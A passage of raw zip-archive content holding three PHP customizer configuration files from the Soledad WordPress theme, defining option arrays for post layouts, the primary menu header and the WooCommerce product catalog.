PK     N\J7+  7+  F  inc/customizer/config/sections/penci_section_other_layouts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Icon Post Format', 'soledad' ),
	'id'       => 'penci_grid_icon_format',
	'type'     => 'soledad-fw-toggle',
);
$options[]     =  array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Move Categories into the Post Meta', 'soledad' ),
	'description' => __( 'This feature is only supported on category, tag, and archive pages.', 'soledad' ),
	'id'          => 'penci_grid_move_cat_meta',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Display Post Meta Overlay Featured Image', 'soledad' ),
	'id'          => 'penci_grid_meta_overlay',
	'description'=>__('This option just apply for Grid Posts & Masonry Posts','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Autoplay for Slider on Posts Format Gallery', 'soledad' ),
	'id'          => 'penci_grid_slider_auto',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Uppercase on Post Categories', 'soledad' ),
	'id'       => 'penci_grid_uppercase_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Post Title', 'soledad' ),
	'id'       => 'penci_grid_off_title_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Post Title HTML Heading Tag', 'soledad' ),
	'id'       => 'penci_grid_title_tag',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''   => esc_html__( 'Default', 'soledad' ),
		'h1' => esc_html__( 'H1', 'soledad' ),
		'h2' => esc_html__( 'H2', 'soledad' ),
		'h3' => esc_html__( 'H3', 'soledad' ),
		'h4' => esc_html__( 'H4', 'soledad' ),
		'h5' => esc_html__( 'H5', 'soledad' ),
		'h6' => esc_html__( 'H6', 'soledad' ),
	)
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Click on Posts Thumbnail to Play Video', 'soledad' ),
	'description'=>__('This option only apply for video posts format - supports only for Youtube & Vimeo','soledad'),
	'id'          => 'penci_grid_lightbox_video',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Letter Spacing on Post Titles', 'soledad' ),
	'id'       => 'penci_grid_off_letter_spacing',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Do Not Crop Images on List Layouts', 'soledad' ),
	'id'          => 'penci_grid_nocrop_list',
	'description'=>__('This option does not apply for gallery posts format','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Share Box', 'soledad' ),
	'id'       => 'penci_grid_share_box',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Borders Left & Right on Share Box', 'soledad' ),
	'id'       => 'penci_grid_share_rmbd',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Post Sub Title', 'soledad' ),
	'id'       => 'penci_grid_show_sub_title',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Category', 'soledad' ),
	'id'       => 'penci_grid_cat',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Author', 'soledad' ),
	'id'       => 'penci_grid_author',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_grid_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Views Count', 'soledad' ),
	'id'       => 'penci_grid_countviews',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Comment Count on Mixed & Overlay Posts', 'soledad' ),
	'id'       => 'penci_grid_comment',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Comment Count on Grid, Masonry, List, Boxed, Photography Posts', 'soledad' ),
	'id'       => 'penci_grid_comment_other',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Reading Time', 'soledad' ),
	'id'       => 'penci_grid_readingtime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Line Above Post Excerpt', 'soledad' ),
	'id'       => 'penci_grid_remove_line',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Post Excerpt', 'soledad' ),
	'id'       => 'penci_grid_remove_excerpt',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Add "Read more" button link', 'soledad' ),
	'id'       => 'penci_grid_add_readmore',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove arrow on "Read more"', 'soledad' ),
	'id'       => 'penci_grid_remove_arrow',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Make "Read more" is A Button', 'soledad' ),
	'id'       => 'penci_grid_readmore_button',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Border Bottom on List Posts', 'soledad' ),
	'id'       => 'penci_grid_rmbd_bottom',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Header Alignment', 'soledad' ),
	'description' => __( 'This option does not apply for Overlay, Photography, Boxed 2 Styles', 'soledad' ),
	'id'          => 'penci_grihead_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Image Alignment for List Layout', 'soledad' ),
	'id'          => 'penci_imglist_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => esc_html__( 'Left', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Post Excerpt Alignment', 'soledad' ),
	'id'       => 'penci_griexc_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''        => esc_html__( 'Default', 'soledad' ),
		'left'    => esc_html__( 'Left', 'soledad' ),
		'center'  => esc_html__( 'Center', 'soledad' ),
		'right'   => esc_html__( 'Right', 'soledad' ),
		'justify' => esc_html__( 'Justify', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Align "Read more" Button', 'soledad' ),
	'id'       => 'penci_grid_readmore_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' )
	)
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Share Box Alignment', 'soledad' ),
	'description' => __( 'This option does apply for some Post Styles, not all', 'soledad' ),
	'id'          => 'penci_grishare_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => esc_html__( 'Default', 'soledad' ),
		'left'   => esc_html__( 'Left', 'soledad' ),
		'center' => esc_html__( 'Center', 'soledad' ),
		'right'  => esc_html__( 'Right', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '30',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Excerpt Length', 'soledad' ),
	'id'       => 'penci_post_excerpt_length',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_post_excerpt_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '30',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Maxium Excerpt Lines', 'soledad' ),
	'id'       => 'penci_post_excerpt_line',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_post_excerpt_line',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Image Width on List Posts', 'soledad' ),
	'id'       => 'penci_img_listwidth',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_img_listwidth',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '%',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Image Width on Small List Posts', 'soledad' ),
	'id'       => 'penci_img_slistwidth',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_img_slistwidth',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '%',
		),
	),
);

return $options;
PK     N\|"  "  O  inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => '',
	'id'       => 'penci_mainmenu_height_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Custom Main Bar Height', 'soledad' ),
	'id'       => 'penci_mainmenu_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_mainmenu_height',
		'mobile'  => 'penci_mainmenu_height_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 30,
			'max'  => 300,
			'step' => 1,
			'edit' => true,

			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 30,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Sticky Main Bar Height When Scroll Down ( Min 30px )', 'soledad' ),
	'id'       => 'penci_mainmenu_height_sticky',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_mainmenu_height_sticky',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => 'menu-style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sub Menu Style', 'soledad' ),
	'id'       => 'penci_header_menu_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'menu-style-1' => __( 'Style 1', 'soledad' ),
		'menu-style-2' => __( 'Style 2', 'soledad' ),
		'menu-style-3' => __( 'Style 3', 'soledad' ),
	)
);
$options[] = array(
	'default'     => '"Raleway", "100:200:300:regular:500:600:700:800:900", sans-serif',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Font For Primary Menu Items', 'soledad' ),
	'id'          => 'penci_font_for_menu',
	'description' => __( 'Default font is "Raleway"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts()
);
$options[] = array(
	'default'     => '"Raleway", "100:200:300:regular:500:600:700:800:900", sans-serif',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Font For Primary Menu Items on Mobile', 'soledad' ),
	'id'          => 'penci_font_for_menu_mobile',
	'description' => __( 'Default font is "Raleway"', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => penci_all_fonts()
);
$options[] = array(
	'default'  => 'normal',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Weight For Primary Menu Items', 'soledad' ),
	'id'       => 'penci_font_weight_menu',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'normal'  => __( 'Normal', 'soledad' ),
		'bold'    => __( 'Bold', 'soledad' ),
		'bolder'  => __( 'Bolder', 'soledad' ),
		'lighter' => __( 'Lighter', 'soledad' ),
		'100'     => __( '100', 'soledad' ),
		'200'     => __( '200', 'soledad' ),
		'300'     => __( '300', 'soledad' ),
		'400'     => __( '400', 'soledad' ),
		'500'     => __( '500', 'soledad' ),
		'600'     => __( '600', 'soledad' ),
		'700'     => __( '700', 'soledad' ),
		'800'     => __( '800', 'soledad' ),
		'900'     => __( '900', 'soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn Off Uppercase on Menu items', 'soledad' ),
	'id'       => 'penci_topbar_menu_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'id'       => 'penci_font_size_lv1',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_lv1',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'id'       => 'penci_font_size_drop',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_drop',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => 'slide_down',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Dropdown Menu Animation Style', 'soledad' ),
	'id'       => 'penci_header_menu_ani_style',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'slide_down'   => esc_html__( 'Slide Down', 'soledad' ),
		'fadein_up'    => esc_html__( 'Fade In Up', 'soledad' ),
		'fadein_down'  => esc_html__( 'Fade In Down', 'soledad' ),
		'fadein_left'  => esc_html__( 'Fade In Left', 'soledad' ),
		'fadein_right' => esc_html__( 'Fade In Right', 'soledad' ),
		'fadein_none'  => esc_html__( 'Fade In', 'soledad' ),
	],
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Padding on Menu Item Level 1', 'soledad' ),
	'id'       => 'penci_header_enable_padding',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Line When Hover on Menu Items Level 1', 'soledad' ),
	'id'       => 'penci_header_remove_line_hover',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Sticky Main Bar When Scroll Down', 'soledad' ),
	'id'       => 'penci_disable_sticky_header',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Social Icons on Main Bar', 'soledad' ),
	'id'       => 'penci_header_social_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Social Icons on Main Bar for Mobile', 'soledad' ),
	'id'       => 'penci_header_hidesocial_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Search, Shopping Cart Icons', 'soledad' ),
	'id'       => 'size_header_search_icon_check',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'size_header_search_icon_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Search Input Text', 'soledad' ),
	'id'       => 'size_header_search_input',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'size_header_search_icon_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Display Logo on Main Bar on Mobile Devices', 'soledad' ),
	'id'          => 'penci_header_logo_mobile',
	'type'        => 'soledad-fw-toggle',
	'description' => __( 'This option does not apply for Header Style 6 & Style 9', 'soledad' ),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Move Logo on Main Bar on Mobile to Center', 'soledad' ),
	'id'       => 'penci_header_logo_mobile_center',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Header Search', 'soledad' ),
	'id'       => 'penci_topbar_search_check',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Background Overlay on Sub-Menu Item Hover', 'soledad' ),
	'id'       => 'penci_header_show_submenu_overlay',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_topbar_search_style',
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Header Search Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'default' => esc_attr__( 'Default', 'soledad' ),
		'showup'  => esc_attr__( 'Slide Up', 'soledad' ),
		'overlay' => esc_attr__( 'Overlay', 'soledad' ),
		'popup'   => esc_attr__( 'Popup Form', 'soledad' ),
	)
);

return $options;
PK     N\̒b.  b.  F  inc/customizer/config/sections/woocommerce_product_catalog_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_woo_post_per_page',
	'default'  => '24',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total Products Display Per Page', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_post_per_page',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '24',
		),
	),
);
$options[] = array(
	'id'       => 'penci_catalog_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Tools Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '9,24,36',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Products Per Page Variations', 'soledad' ),
	'id'       => 'penci_woo_post_per_page_variations',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_woo_per_row_columns_selector',
	'default'  => true,
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Show Columns Selector on Shop page', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => 'list-grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Shop products view', 'soledad' ),
	'description' => __( 'You can set different view mode for the shop page', 'soledad' ),
	'id'          => 'penci_shop_product_view',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'      => __('Grid','soledad' ),
		'list'      => __('List','soledad' ),
		'grid-list' => __('Grid/List','soledad' ),
		'list-grid' => __('List/Grid','soledad' ),
	)
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'AJAX shop', 'soledad' ),
	'description' => __( 'Enable AJAX functionality for filter widgets, categories navigation, and pagination on the shop page.', 'soledad' ),
	'id'          => 'penci_woocommerce_ajax_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Scroll to top after AJAX', 'soledad' ),
	'description' => __( 'Disable - Enable scroll to top after AJAX.', 'soledad' ),
	'id'          => 'penci_woocommerce_ajax_shop_auto_top',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_calalog_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Product Item Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Category Style', 'soledad' ),
	'description' => __( 'Select the style of the category showing on archive/categories/tags/search', 'soledad' ),
	'id'          => 'penci_woocommerce_product_cat_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __('Style 1','soledad' ),
		'style-2' => __('Style 2','soledad' ),
		'style-3' => __('Style 3','soledad' ),
		'style-4' => __('Style 4','soledad' ),
		'style-5' => __('Style 5','soledad' ),
	)
);
$options[] = array(
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Item Style', 'soledad' ),
	'description' => __( 'Select the style of the product showing on shop/archive/categories/tags/search<br/>.', 'soledad' ),
	'id'          => 'penci_woocommerce_product_style',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard' => __('Default','soledad' ),
		'style-1'  => __('Style 1','soledad' ),
		'style-2'  => __('Style 2','soledad' ),
		'style-3'  => __('Style 3','soledad' ),
		'style-4'  => __('Style 4','soledad' ),
		'style-5'  => __('Style 5','soledad' ),
		'style-6'  => __('Style 6','soledad' ),
		'style-7'  => __('Style 7','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woocommerce_product_icon_hover_style',
	'default'     => 'round',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Style', 'soledad' ),
	'description' => __( 'Select icon hover style on Product Item', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'round' => __('Separate Round','soledad' ),
		'group' => __('Group in Rectangle','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woocommerce_product_icon_hover_position',
	'default'     => 'top-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Position', 'soledad' ),
	'description' => __( 'Select icon hover position on Product Item', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top-left'      => __('Top left','soledad' ),
		'top-right'     => __('Top Right','soledad' ),
		'bottom-left'   => __('Bottom Left','soledad' ),
		'bottom-right'  => __('Bottom Right','soledad' ),
		'center-top'    => __('Center Top','soledad' ),
		'center-center' => __('Center Center','soledad' ),
		'center-bottom' => __('Center Bottom','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woocommerce_product_icon_hover_animation',
	'default'     => 'move-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Icon Hover Animation', 'soledad' ),
	'description' => __( 'Select icon hover animation on Product Item', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'move-left'   => __('Move to left','soledad' ),
		'move-right'  => __('Move to Right','soledad' ),
		'move-top'    => __('Move to Top','soledad' ),
		'move-bottom' => __('Move to Bottom','soledad' ),
		'fade'        => __('Fade In','soledad' ),
		'zoom'        => __('Zoom In','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_woocommerce_product_hover_img',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Hover Image on Product Catalog ?', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product category ?', 'soledad' ),
	'description' => __( 'Display product category link below the product title.', 'soledad' ),
	'id'          => 'penci_woocommerce_loop_category',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woocommerce_loop_rating',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Show product star rating ?', 'soledad' ),
	'description' => __( 'Display product loop rating below the product title.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Login to see add to cart and prices', 'soledad' ),
	'description' => __( 'You can restrict shopping functions only for logged in customers.', 'soledad' ),
	'id'          => 'penci_woocommerce_restrict_cart_price',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Quick Select Options on Product', 'soledad' ),
	'description' => __( 'Allow customers purchase product on hover content.', 'soledad' ),
	'id'          => 'penci_woocommerce_product_quick_shop',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Title Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product title you want to display',
	'id'       => 'penci_woo_limit_product_title',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_woo_limit_product_excerpt',
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Limit Product Excerpt Length', 'soledad' ),
	'desc'     => 'Enter the custom length of the product summary you want to display',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_limit_product_excerpt',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
if ( function_exists( 'penci_product_attributes_array' ) ) {
	$options[] = array(
		'id'          => 'penci_woocommerce_grid_swatch',
		'default'     => false,
		'sanitize'    => 'penci_sanitize_choices_field',
		'label'       => __( 'Grid swatch attribute to display', 'soledad' ),
		'description' => __( 'Choose the attribute that will be shown on the product grid.', 'soledad' ),
		'type'        => 'soledad-fw-ajax-select',
		'choices'     => penci_product_attributes_array(),
	);
}
$options[] = array(
	'id'       => 'penci_woocommerce_grid_swatch_limit',
	'default'  => '5',
	'sanitize' => 'absint',
	'label'    => __( 'Limit swatches on grid ', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_woocommerce_grid_swatch_cache',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Product Swatches Shop Cache', 'soledad' ),
	'description' => __( 'By default, Soledad using cache to speed up Query for swatch image. Uncheck this option to disable/debug.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_catalog_heading_4',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Catalog Columns Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'          => 'penci_shop_cat_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Columns', 'soledad' ),
	'description' => __( 'How many category should be shown per row on section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_cat_display_type',
	'default'     => 'grid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Categories Display Style', 'soledad' ),
	'description' => __( 'Select the category displays style on shop/category page', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'grid'     => __('Grid','soledad' ),
		'carousel' => __('Carousel','soledad' ),
	)
);
$options[] = array(
